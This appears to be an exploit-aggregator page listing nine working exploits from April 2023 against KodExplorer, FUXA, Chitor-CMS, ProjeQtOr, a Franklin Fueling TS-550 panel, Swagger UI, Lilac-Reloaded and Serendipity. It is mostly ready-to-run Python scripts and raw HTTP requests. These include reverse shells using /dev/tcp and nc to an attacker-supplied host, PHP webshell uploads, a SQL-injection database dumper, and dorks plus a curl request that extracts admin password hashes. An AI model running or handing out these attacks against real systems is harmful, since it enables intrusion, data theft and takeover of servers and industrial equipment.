Latest exploits :: CodePwn

<pre><code># Exploit Title: KodExplorer <= 4.49 - CSRF to Arbitrary File Upload # Date: 21/04/2023 # Exploit Author: Mr Empy # Software Link: https://github.com/kalcaddle/KodExplorer # Version: <= 4.49 # Tested on: Linux # References: # * https://vuldb.com/?id.227000 # * https://www.cve.org/CVERecord?id=CVE-2022-4944 # * https://github.com/MrEmpy/CVE-2022-4944 import argparse import http.server import socketserver import os import threading import requests from time import sleep def banner(): print(''' _ _____________ _____ _ ______ _____ _____ | | / / _ | _ \ ___| | | | ___ \/ __ \| ___| | |/ /| | | | | | | |____ ___ __ | | ___ _ __ ___ _ __ | |_/ /| / \/| |__ | \| | | | | | | __\ \/ / '_ \| |/ _ \| '__/ _ \ '__| | / | | | __| | |\ \ \_/ / |/ /| |___> <| |_) | | (_) | | | __/ | | |\ \ | \__/\| |___ \_| \_/\___/|___/ \____/_/\_\ .__/|_|\___/|_| \___|_| \_| \_| \____/\____/ | | |_| [KODExplorer <= v4.49 Remote Code Executon] [Coded by MrEmpy] ''') def httpd(): port = 8080 httpddir = os.path.join(os.path.dirname(__file__), 'http') os.chdir(httpddir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(('', port), Handler) print('[+] HTTP Server started') httpd.serve_forever() def webshell(url, lhost): payload = '<pre><?php system($_GET["cmd"])?></pre>' path = '/data/User/admin/home/' targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ') wshell_f = open('http/shell.php', 'w') wshell_f.write(payload) wshell_f.close() print('[*] Opening HTTPd port') th = threading.Thread(target=httpd) th.start() print(f'[+] Send this URI to your target: {url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http:// {lhost}:8080/shell.php&uuid=&time=') print(f'[+] After the victim opens the URI, his shell will be hosted at {url}/data/User/admin/home/shell.php?cmd=whoami') def reverseshell(url, lhost): rvpayload = ' https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php ' path = '/data/User/admin/home/' targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ') lport = input('[*] Your local port: ') reqpayload = requests.get(rvpayload).text reqpayload = reqpayload.replace('127.0.0.1', lhost) reqpayload = reqpayload.replace('1234', lport) wshell_f = open('http/shell.php', 'w') wshell_f.write(reqpayload) wshell_f.close() print('[*] Opening HTTPd port') th = threading.Thread(target=httpd) th.start() print(f'[+] Send this URI to your target: {url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http:// {lhost}:8080/shell.php&uuid=&time=') input(f'[*] Run the command "nc -lnvp {lport}" to receive the connection and press any key\n') while True: hitshell = requests.get(f'{url}/data/User/admin/home/shell.php') sleep(1) if not hitshell.status_code == 200: continue else: print('[+] Shell sent and executed!') break def main(url, lhost, mode): banner() if mode == 'webshell': webshell(url, lhost) elif mode == 'reverse': reverseshell(url, lhost) else: print('[-] There is no such mode. Use webshell or reverse') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-u','--url', action='store', help='target url', dest='url', required=True) parser.add_argument('-lh','--local-host', action='store', help='local host', dest='lhost', required=True) parser.add_argument('-m','--mode', action='store', help='mode (webshell, reverse)', dest='mode', required=True) arguments = parser.parse_args() main(arguments.url, arguments.lhost, arguments.mode) </code></pre>

<pre><code># Exploit Title: FUXA V.1.1.13-1186- Unauthenticated Remote Code Execution (RCE) # Date: 18/04/2023 # Exploit Author: Rodolfo Mariano # Vendor Homepage: https://github.com/frangoteam/FUXA # Version: FUXA V.1.1.13-1186 (current) from argparse import RawTextHelpFormatter import argparse, sys, threading, requests def main(rhost, rport, lhost, lport): url = "http://"+rhost+":"+rport+"/api/runscript" payload = { "headers": { "normalizedNames":{}, "lazyUpdate": "null" }, "params":{ "script":{ "parameters":[ { "name":"ok", "type":"tagid", "value":"" } ], "mode":"", "id":"", "test":"true", "name":"ok", "outputId":"", "code":"require('child_process').exec('/bin/bash -c \"/bin/sh -i >& /dev/tcp/%s/%s 0>&1\"')" % (lhost,lport) } } } response = requests.post(url, json=payload) args = None parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage="python exploit.py --rhosts <ip> --rport <rport>--lport <port>") parser.add_argument('--rhost', dest='rhost', action='store', type=str, help='insert an rhost') parser.add_argument('--rport', dest='rport', action='store', type=str, help='insert an rport', default=1881) parser.add_argument('--lhost', dest='lhost', action='store', type=str, help='insert an lhost') parser.add_argument('--lport', dest='lport', action='store', type=str, help='insert an lport') args=parser.parse_args() main(args.rhost, args.rport, args.lhost, args.lport) </code></pre>

<pre><code>#!/usr/bin/python3 ####################################################### # # # Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection # # Date: 2023/04/13 # # ExploitAuthor: msd0pe # # Project: https://github.com/waqaskanju/Chitor-CMS # # My Github: https://github.com/msd0pe-1 # # Patched the 2023/04/16: 69d3442 commit # # # ####################################################### __description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.' __author__ = 'msd0pe' __version__ = '1.1' __date__ = '2023/04/13' class bcolors: PURPLE = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' OCRA = '\033[93m' RED = '\033[91m' CYAN = '\033[96m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' class infos: INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] " ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] " GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] " PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] " import re import requests import optparse from prettytable import PrettyTable def DumpTable(url, database, table): header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"} x = PrettyTable() columns = [] payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -" u = requests.get(url + payload, headers=header) try: r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text) r = r[0].replace('\"',"").split(',') if r == []: pass else: for i in r: columns.append(i) pass except: pass x.field_names = columns payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -" u = requests.get(url + payload, headers=header) try: r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text) r = r[0].replace('\"',"").split(',') if r == []: pass else: for i in r: i = i.split("xzmdpl") x.add_rows([i]) except ValueError: r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text) r = r[0].replace('\"',"").split(',') if r == []: pass else: for i in r: i = i.split("xzmdpl") i.append("") x.add_rows([i]) print(x) def ListTables(url, database): header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"} x = PrettyTable() x.field_names = ["TABLES"] payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -" u = requests.get(url + payload, headers=header) try: r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text) r = r[0].replace('\"',"").split(',') if r == []: pass else: for i in r: x.add_row([i]) except: pass print(x) def ListDatabases(url): header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"} x = PrettyTable() x.field_names = ["DATABASES"] payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -" u = requests.get(url + payload, headers=header) try: r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text) r = r[0].replace('\"',"").split(',') if r == []: pass else: for i in r: x.add_row([i]) except: pass print(x) def Main(): Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__) Menu.add_option('-u', '--url', type="str", dest="url", help='target url') Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases') Menu.add_option('-D', '--db', type="str", dest="database", help='select a database') Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables') Menu.add_option('-T', '--table', type="str", dest="table", help='select a table') Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content') (options, args) = Menu.parse_args() Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump """) Menu.add_option_group(Examples) if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}: Menu.print_help() print('') print(' %s' % __description__) print(' Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC) print(' Any malicious or illegal activity may be punishable by law') print(' Use at your own risk') elif len(args) == 0: try: if options.url != None: if options.l_databases != None: ListDatabases(options.url) if options.database != None: if options.l_tables != None: ListTables(options.url, options.database) if options.table != None: if options.dump != None: DumpTable(options.url, options.database, options.table) except: print("Unexpected error") if __name__ == '__main__': try: Main() except KeyboardInterrupt: print() print(infos.PROCESS + "Exiting...") print() exit(1) </code></pre>

<pre><code>Exploit Title: ProjeQtOr Project Management System 10.3.2 -Remote Code Execution (RCE) Application: ProjeQtOr Project Management System Version: 10.3.2 Bugs: Remote Code Execution (RCE) (Authenticated) via file upload Technology: PHP Vendor URL: https://www.projeqtor.org Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download Date of found: 19.04.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== Possible including php file with phar extension while uploading image. Rce is triggered when we visit again Payload:<?php echo system("id"); ?> poc request: POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1 Host: localhost Content-Length: 1177 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/projeqtor/view/main.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic Connection: close ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar" Content-Type: application/octet-stream <?php echo system("id"); ?> ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentId" ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentRefType" User ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentRefId" 1 ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentType" file ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="MAX_FILE_SIZE" 10485760 ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentLink" ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentDescription" ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="attachmentPrivacy" 1 ------WebKitFormBoundaryY0bpJaQzcvQberWR Content-Disposition: form-data; name="uploadType" html5 ------WebKitFormBoundaryY0bpJaQzcvQberWR-- visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar </code></pre>

<pre><code># Exploit Title: Franklin Fueling Systems TS-550 - Default Password # Date: 4/16/2023 # Exploit Author: parsa rezaie khiabanloo # Vendor Homepage: Franklin Fueling Systems (http://www.franklinfueling.com/) # Version: TS-550 # Tested on: Linux/Android(termux) Step 1 : attacker can using these dorks and access to find the panel inurl:"relay_status.html" inurl:"fms_compliance.html" inurl:"fms_alarms.html" inurl:"system_status.html" inurl:"system_reports.html' inurl:"tank_status.html" inurl:"sensor_status.html" inurl:"tank_control.html" inurl:"fms_reports.html" inurl:"correction_table.html" Step 2 : attacker can send request curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://IP:10001/cgi-bin/tsaws.cgi Step 3 : if get response that show like this <TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-02-19T22:09:22Z" TIME_STAMP_LOCAL="2013-02-19T17:09:22" KEY="11111111" ROLE="roleGuest"><TSA_RESPONSE COMMAND="cmdWebGetConfiguration"><CONFIGURATION> <DEBUGGING LOGGING_ENABLED="false" LOGGING_PATH="/tmp"/> <ROLE_LIST> <ROLE NAME="roleAdmin" PASSWORD="YrKMc2T2BuGvQ"/> <ROLE NAME="roleUser" PASSWORD="2wd2DlEKUPTr2"/> <ROLE NAME="roleGuest" PASSWORD="YXFCsq2GXFQV2"/> </ROLE_LIST> Step 4 : attacker can crack the hashesh using john the ripper notice : most of the panels password is : admin Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. </code></pre>

<pre><code># Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information # Date: 14 April, 2023 # Exploit Author: Rafael Cintra Lopes # Vendor Homepage: https://swagger.io/ # Version: < 4.1.3 # CVE: CVE-2018-25031 # Site: https://rafaelcintralopes.com.br/ # Usage: python swagger-exploit.py https://[swagger-page].com from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from selenium.webdriver.chrome.service import Service import time import json import sys if __name__ == "__main__": target = sys.argv[1] desired_capabilities = DesiredCapabilities.CHROME desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"} options = webdriver.ChromeOptions() options.add_argument("--headless") options.add_argument("--ignore-certificate-errors") options.add_argument("--log-level=3") options.add_experimental_option("excludeSwitches", ["enable-logging"]) # Browser webdriver path drive_service = Service("C:/chromedriver.exe") driver = webdriver.Chrome(service=drive_service, options=options, desired_capabilities=desired_capabilities) driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json") time.sleep(10) driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json") time.sleep(10) logs = driver.get_log("performance") with open("log_file.json", "w", encoding="utf-8") as f: f.write("[") for log in logs: log_file = json.loads(log["message"])["message"] if("Network.response" in log_file["method"] or "Network.request" in log_file["method"] or "Network.webSocket" in log_file["method"]): f.write(json.dumps(log_file)+",") f.write("{}]") driver.quit() json_file_path = "log_file.json" with open(json_file_path, "r", encoding="utf-8") as f: logs = json.loads(f.read()) for log in logs: try: url = log["params"]["request"]["url"] if(url == "https://petstore.swagger.io/v2/hacked1.json"): print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json") if(url == "https://petstore.swagger.io/v2/hacked2.json"): print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json") except Exception as e: pass </code></pre>

<pre><code>#!/usr/bin/env python """ # Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 2023-04-13 # Exploit Author: max / Zoltan Padanyi # Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit # Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download # Version: 2.0.8 # Tested on: Debian 7.6 # CVE : N/A The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ; Use at your own risk! RCA - wild exec is ongoing without any filtering in library/Net/Traceroute.php 181 function _setTraceroutePath($sysname) 182 { 183 $status = ''; 184 $output = array(); 185 $traceroute_path = ''; 186 187 if ("windows" == $sysname) { 188 return "tracert"; 189 } else { 190 $traceroute_path = exec("which traceroute", $output, $status); [...] 257 function traceroute($host) 258 { 259 260 $argList = $this->_createArgList(); 261 $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1]; 262 exec($cmd, $this->_result); """ import requests import argparse parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True) parser.add_argument("-i", "--ip", help="Listener IP", required=True) parser.add_argument("-p", "--port", help="Listener port", required=True, type=int) args = parser.parse_args() rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;" body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"} try: r = requests.get(args.url) if r.ok: print("[+] URL looks good...moving forward...") print("[+] Sending exploit in...") r = requests.post(args.url,data=body) if r.ok: print("[+] Got HTTP 200, check your listener!") else: print("[-] Some kind of error happened, check the http response below!") print(r.text) except Exception as e: print("General exception: " + str(e)) </code></pre>

<pre><code>Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS) Author: Mirabbas Ağalarov Application: Serendipity Version: 2.4.0 Bugs: Stored XSS Technology: PHP Vendor URL: https://docs.s9y.org/ Software Link: https://docs.s9y.org/downloads.html Date of found: 13.04.2023 Tested on: Linux 2. Technical Details & POC ======================================== steps: 1.Anyone who has the authority to create the new entry can do this payload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E POST /serendipity/serendipity_admin.php? HTTP/1.1 Host: localhost Content-Length: 730 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b Connection: close serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=1 2. visit the entry you created </code></pre>

<pre><code>Exploit Title: Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) Application: Serendipity Version: 2.4.0 Bugs: Remote Code Execution (RCE) (Authenticated) via file upload Technology: PHP Vendor URL: https://docs.s9y.org/ Software Link: https://docs.s9y.org/downloads.html Date of found: 13.04.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== If we load the poc.phar file in the image field while creating a category, we can run commands on the system. <?php echo system("cat /etc/passwd"); ?> I wrote a file with the above payload, a poc.phar extension, and uploaded it. Visit to http://localhost/serendipity/uploads/poc.phar poc request: POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1 Host: localhost Content-Length: 1561 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b Connection: close ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[token]" ae9b8ae35a756c24f9552a021ee81d56 ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[action]" admin ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[adminModule]" media ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[adminAction]" add ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar" Content-Type: application/octet-stream <?php echo system("cat /etc/passwd");?> ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_filename][1]" poc.phar ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_directory][1]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[column_count][1]" true ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[imageurl]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[imageimporttype]" image ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_filename][]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_directory][]" ------WebKitFormBoundaryZWKPiba66PSVGQzc-- poc video : https://youtu.be/_VrrKOTywgo </code></pre>